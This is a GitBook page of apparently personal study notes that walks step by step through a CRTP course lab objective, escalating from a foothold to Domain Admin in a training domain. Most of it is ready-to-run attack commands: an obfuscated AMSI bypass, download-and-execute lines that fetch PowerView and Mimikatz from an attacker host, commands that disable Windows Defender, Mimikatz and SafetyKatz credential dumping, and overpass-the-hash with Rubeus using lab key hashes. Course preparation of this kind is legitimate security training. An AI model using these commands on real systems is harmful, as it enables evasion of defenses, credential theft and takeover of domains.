👽
ALi3nW3rX
  • 👽ALi3NW3RX - Home Page
  • 🧧Resources
  • MITRE ATT&CK
  • Cyber Kill Chain
  • Education
    • ⚪Training Platforms
      • Attack & Defense
      • Hack The Box
      • Hack The Box Academy
      • Pentester Academy
      • Pentester Lab
      • PortSwigger Academy
      • Proving Grounds (PGP)
      • PwnTillDawn
      • Try Hack Me
    • 🟣Courses
      • Free Courses
        • API Penetration Testing Course
      • Paid Courses
        • OSCP
        • Pentester Academy
          • CRTP
            • CRTP Step By Step In Objectives
              • Obj 1 Enumeration
              • Obj 2 Enumeration
              • Obj 3 Enumeration
              • Obj 4 Enumeration
              • Obj 5 Local Priv Esc
              • Obj 6 BloodHound
              • Obj 7 Derivative Local Admin
              • Obj 8 Golden Ticket / DCSync
              • Obj 9 Silver Ticket for Host
              • Obj 10 Skeleton Key
              • Obj 11 DSRM
              • Obj 12 DCSync
              • Obj 13 Security Descriptors
              • Obj 14 Kerberoast Pass Crack
              • Obj 15 Unconstrained Delegation
            • CRTP Diagrams
          • CRTE
        • Hack The Box
          • CPTS
            • Common Terms (Cheat Sheet)
            • OWASP Top 10 2021
            • ACTIVE DIRECTORY ENUMERATION & ATTACKS
              • Enum Cheat Sheet
              • Tools of The Trade
              • Initial Enumeration of the Domain
              • LLMNR/NBT-NS Poisoning - from Linux
              • LLMNR/NBT-NS Poisoning - from Windows
              • Password Spraying Overview
              • Enumerating & Retrieving Password Policies
              • Password Spraying - Making a Target User List
              • Page 4
              • Page 3
              • Page 1
            • Page 2
  • Reverse Shells
    • revshells.com
  • C2
    • 🔴Cobalt Strike
      • Articles & Instructions
      • Resources
        • CS Cheat Sheet
        • Command Reference
        • Aggressor Scripts
        • RedTeam-OffensiveSecurity
      • Videos
  • WINDOWS
    • Active Directory Attack Map
    • Wadcoms
    • 🟢Recon
    • 🟢Enumeration
      • No Credentials
      • PowerView Enumeration
        • WMI
        • Domain Enumeration
        • Domain Trusts
        • Users
          • Find Local Admin Access
          • Find Active Sessions
        • Groups
        • Computers
        • Shares
        • GPO's
        • OU's
        • ACL's
      • Valid Credentials
    • 🟡FootHold
    • 🟡Local Priv Esc
      • PowerUp
      • ByPasses
      • Local Privilege Escalation
        • Local Priv Esc Using PowerUp.ps1
      • DSRM
    • 🟠Credential Harvesting
      • Dump NTDS.dit
    • 🟠Post Exploitation
    • 🟠Persistence
    • 🔴Domain Priv Esc
      • Domain Privilege Escalation
        • Enterprise Admins
        • DNS Admins
        • Constrained Delegation
        • Unconstrained Delegation
        • Set SPN
        • AS-REPS Roasting
        • Kerberoast
    • 🔴Lateral Movement & Pivoting
      • Lateral Movement
      • PowerShell Remoting
      • Reverse Shells
      • Pass The Hash
      • Over Pass The Hash
    • 🔴Attacks
      • DCSync
      • ACL
      • DSRM
      • AdminSDHolder
      • Print Nightmare
    • 🔴Forests & Trusts
      • Cross Forest Attacks
    • 🔵Defense & Hardening
    • 🔧Tools
      • BloodHound
      • Certipy
      • Commando-VM
      • CrackMapExec
        • CME Quick Reference
        • Protocols
          • SSH
            • Password Spraying
            • Authentication
            • Command Execution
          • MSSQL
            • Password Spraying
            • Authentication
            • Privesc
            • Command Execution
            • Upload/Download
            • Windows Commands
          • LDAP
            • Authentication
            • ASREPRoast
            • Find Domain SID
            • Kerberoasting
            • Unconstrained delegation
            • Admin Count
            • Machine Account Quota
            • Get user descriptions
            • Dump GMSA
            • Exploit ESC8 (ADCS)
            • Extract Subnet
            • LDAP Signing
            • Read DACL rights
          • FTP
            • Password Spraying
          • WINRM
            • Password Spraying
            • Authentication
            • Command Execution
            • LAPS
          • RDP
            • Password Spraying
            • Screenshot (Connected)
            • Screenshot (Not Connected)
        • Using Kerberos
        • Using Modules
        • Using The Database
        • BloodHound Integration
        • Scan for Vulnerabilities
        • Enumeration
          • Hosts
          • Null Sessions
          • Anonymous Login
          • Active Sessions
          • Shares and Access
          • Disks
          • Logged on Users
          • Domain Users
          • Users BruteForce RID
          • Domain Groups
          • Local Groups
          • Password Policy
          • SMB Signing NOT Required
        • Password Spraying
        • Authentication
          • Checking Domain Credentials
          • Checking Local Credentials
        • Command Execution
          • Remote Command Execution
          • Shells
        • Spidering Shares
        • Get and Put Files
        • Obtaining Credentials
          • Dump SAM
          • Dump LSA
          • Dump NTDS.dit
          • Dump LSASS
          • Dump WIFI Password
          • Dump KeyPass
        • LAPS
        • Spooler / WebDAV
        • MS Teams Cookies
      • Forensia
      • Inveigh
      • LaZagne
      • Ligolo / SSH Tunneling
      • LinWinPwn
      • MimiKatz.ps1
        • Golden Ticket
        • Silver Ticket
        • Skeleton Key
      • Rubeus
      • SharpCollection
      • SQLRecon
    • ✍️Scripts
      • FilelessNTDllReflection
      • FilelessRemotePE
      • ExecRemoteAssembly
  • Offensive Programming
    • RUST
      • Links
  • LINUX
    • Linux Terminal Commands
      • Git Cheat Sheet
      • Grep Cheat Sheet
    • Path to Root
    • Bash Cheat Sheet
    • Priv Esc
      • LD_Preload / SETENV
  • WEB APPS
    • Web Apps
      • LFI
      • XXE
  • DATABASES
    • Mysql
    • Postgresql
    • Redis
  • Common Tools & Commands
    • Protocols
      • FTP
      • RDP
      • SMB
      • SSH
    • Primary Tools
      • Hashcat
      • Responder
      • SQLMap
      • Chisel
      • CURL
      • XFREERDP
      • SSH
      • GOBUSTER
      • SNMP
      • NMAP
      • SMBCLIENT
      • WHATWEB
    • Editors
      • VIM
    • Misc Tools
      • ChatGPT
  • NETWORKING
    • Subnetting Cheat Sheet
  • SCRIPTS
    • Enum Scripts
  • MISC
    • Programming
      • GO
        • GoLangBot.Com
        • Ping Sweeper
      • NIM
    • Temp - Notes
Powered by GitBook
On this page
  • Run AMSI bypass on machine
  • Load PowerView onto the machine
  • Find Domain user location
  • Check if we can run commands on the sessions available
  • Get Mimikatz on the Target Machine
  • Create a new session for Target Machine
  • Disable Protections and AMSI on Target Machine
  • Now we can Invoke Mimikatz on Target Machine to Get Creds
  • Now we can use Over Pass the Hash with Rubeus
  • Rubeus Over Pass The Hash
  • Mimikatz Over Pass The Hash
  • SafetyKatz Over Pass The Hash
  • - DERIVATIVE LOCAL ADMIN -
  • We can start a PSSession on any available machines we find
  • We need to check what language mode we are in first.
  • Next we can check the AppLocker policy to see if/where we can run scripts from
  • We can now disable Windows Defender and AMSI on the sess
  • Create a Modified Mimikatz script to execute on load
  • Now we can transfer the new file over
  • Back on the Target Machine we can invoke Mimikatz
  • Over Pass the Hash with SafetyKatz
  • On the new process that started we run invishell and look for PSRemoting local admins again.
  • Extract credentials from our findings Using SafetyKatz
  • We can now winrs or PSRemote in and Invoke SafetyKatz
  • We can do the same as above with Mimikatz do dump the credentials of the target machine
  • We can also dump credentials from the credentials vault with mimikatz
  • Finally we can use Over Pass the Hash with svcadmin credentials to start a new process as Domain Admin
  1. Education
  2. Courses
  3. Paid Courses
  4. Pentester Academy
  5. CRTP
  6. CRTP Step By Step In Objectives

Obj 7 Derivative Local Admin

Task - Target a domain where a domain admin has a session and compromise the machine to escalate privs to Domain Admin.

Theses commands are going to be ran from the reverse shell on dcorp-ci

Run AMSI bypass on machine

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Load PowerView onto the machine

iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/PowerView.ps1'))

Find Domain user location

Find-DomainUserLocation 

The above command finds active sessions of domain users. We are looking for a DA session if possible.

Check if we can run commands on the sessions available

Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName dcorp-mgmt

Get Mimikatz on the Target Machine

iex (iwr http://172.16.100.X/Invoke-Mimikatz.ps1-UseBasicParsing)

Create a new session for Target Machine

$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local

Disable Protections and AMSI on Target Machine

Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess

Now we can Invoke Mimikatz on Target Machine to Get Creds

Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess

Now we can use Over Pass the Hash with Rubeus

We can use Rubeus, Mimikatz or SafteyKatz for this as well.

Rubeus Over Pass The Hash

C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Mimikatz Over Pass The Hash

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /run:powershell.exe"'

SafetyKatz Over Pass The Hash

C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /aes256:145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4 /run:cmd.exe" "exit"

- DERIVATIVE LOCAL ADMIN -

In the session we created using svcadmin creds above we are going to see who we can access as local admin.

.C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess

We can start a PSSession on any available machines we find

Enter-PSSession -ComputerName dcorp-adminsrv

We need to check what language mode we are in first.

$ExecutionContext.SessionState.LanguageMode

Next we can check the AppLocker policy to see if/where we can run scripts from

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

We can now disable Windows Defender and AMSI on the sess

Set-MpPreference -DisableRealtimeMonitoring $true -Verbose
Set-MpPreference -DisableIOAVProtection $true -Verbose

Create a Modified Mimikatz script to execute on load

Create a copy of Invoke-Mimikatz.ps1 and rename it to Invoke-MimikatzEx.ps1.
-Open Invoke-MimikatzEx.ps1 in PowerShell ISE
-Add  Invoke-Mimikatz–Command sekurlsa::ekeys -to the very end of the file.

Now we can transfer the new file over

We are copying this from our foothold machine in the process created for svcadmin

PS C:\AD\Tools> Copy-Item C:\AD\Tools\Invoke-MimikatzEx.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'

Back on the Target Machine we can invoke Mimikatz

[dcorp-adminsrv]: PS C:\Program Files> .\Invoke-MimikatzEx.ps1

Over Pass the Hash with SafetyKatz

Again we can use SafetyKatz, Rubeus or Mimikatz to do this also. We will use one of the creds we found in the previous hash dump.

C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /aes256:145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4 /run:cmd.exe" "exit"

On the new process that started we run invishell and look for PSRemoting local admins again.

. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -Verbose

Extract credentials from our findings Using SafetyKatz

We can use mimikatz to do this but this time we are going to use safetykatz. So we need to copy loader.exe to the target machine first.

echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe

We can now winrs or PSRemote in and Invoke SafetyKatz

C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit

We can do the same as above with Mimikatz do dump the credentials of the target machine

  1. First we need to disable AMSI on the target machine (copy and past AMSI Bypass)

  2. Download and Execute Mimikatz.ps1 iex (iwr http://172.16.100.X/Invoke-Mimikatz.ps1-UseBasicParsing)

  3. On Target machine run: Invoke-Mimikatz–Command '"sekurlsa::ekeys"'

We can also dump credentials from the credentials vault with mimikatz

Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'

Finally we can use Over Pass the Hash with svcadmin credentials to start a new process as Domain Admin

C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show/ptt
PreviousObj 6 BloodHoundNextObj 8 Golden Ticket / DCSync

Last updated 2 years ago

🟣